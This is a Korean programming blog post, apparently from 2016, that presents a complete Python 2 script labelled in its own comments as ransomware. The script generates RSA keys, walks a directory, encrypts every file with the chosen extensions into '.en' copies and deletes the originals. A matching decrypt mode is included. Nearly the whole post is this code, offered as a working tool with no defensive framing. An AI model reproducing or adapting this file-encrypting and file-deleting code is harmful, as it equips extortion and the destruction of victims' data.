프로그래밍/Python
RSA 암호화 / 복호화
1q
2016. 12. 26. 18:19
출처 : http://blog.naver.com/isc0304?Redirect=Log&logNo=220372285171&from=postView
pyCryptoRSA : https://docs.launchkey.com/developer/encryption/python/python-encryption.html#encrypt-message-pycrypto
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 | #! python # -*- coding: UTF-8 -*- # RasnomWare import pyCryptoRSA import os import sys import optparse ## optparse parser = optparse.OptionParser('Usage ransomware -m <mode> -p <directory> -l <extands list>') parser.add_option('-m', dest='mode', type='string', help='must specify mode(generateKey | encrypt | decrypt)') parser.add_option('-d', dest='dir', type='string', help='must specify directory') parser.add_option('-l', dest='list', type='string', help='must specify extands list with comma(,)') ## 전역변수 초기화 (option, args) = parser.parse_args() if (option.mode == None) | (option.dir == None) | (option.list == None): if ((option.mode=="generateKey") & (option.dir != None)): pass elif (option.mode=="decrypt") & (option.dir != None): pass else: print(parser.usage) sys.exit(0) mode = option.mode dir = option.dir if option.list: try: option.list.index(",") list = (option.list).split(",") except Exception as e: list = [] list.append(option.list) ## RSA 키 생성하여 저장 if (mode == "generateKey"): tempTuple=pyCryptoRSA.generate_RSA() # public key f = open(dir + "\\pri.key", "w") f.write(tempTuple[0]) f.close() # private key f = open(dir + "\\pub.key", "w") f.write(tempTuple[1]) f.close() print "complete gernerating keys" ## 암호화 진행 if(mode == "encrypt"): # pub.key 가져오기 pubKey = dir+"\\pub.key" print "read " + pubKey + "..." # 암호화 print "start encryption" for root, dirs, files in os.walk(dir): for file in files: # 확장자가 암호화 대상인지 검사 try: list.index(file.split(".")[-1]) pass except Exception as e: continue file = root + "\\" + file # 암호화 수행 fileData = open(file, "rb") newFile = open(file+".en", "wb") while(True): content = fileData.read(200) if(content): content = pyCryptoRSA.encrypt_RSA(pubKey, content) newFile.writelines(content) else: break fileData.close() newFile.close() # 원본 파일 삭제 os.unlink(file) print("\t[+]encrypted: " + file) print "complete encryption" ## 복호화 진행 if(mode == "decrypt"): # pri.key 가져오기 priKey = dir+"\\pri.key" print "read " + priKey + "..." #복호화 print "start decryption" for root, dirs, files in os.walk(dir): for file in files: # 확장자가 복호화 대상인지 검사 if(file.split(".")[-1] != "en"): continue file = root + "\\" + file # 암호화 수행 fileData = open(file, "rb") newFile = open(file[:-3], "wb") while(True): content = "" for i in range(0,5): content += fileData.readline() print content if(content): print content newFile.writelines(pyCryptoRSA.decrypt_RSA(priKey, content)) else: break fileData.close() newFile.close() # 원본 파일 삭제 os.unlink(file) print("\t[+]decrypted: " + file[:-3]) print "complete decryption" | cs |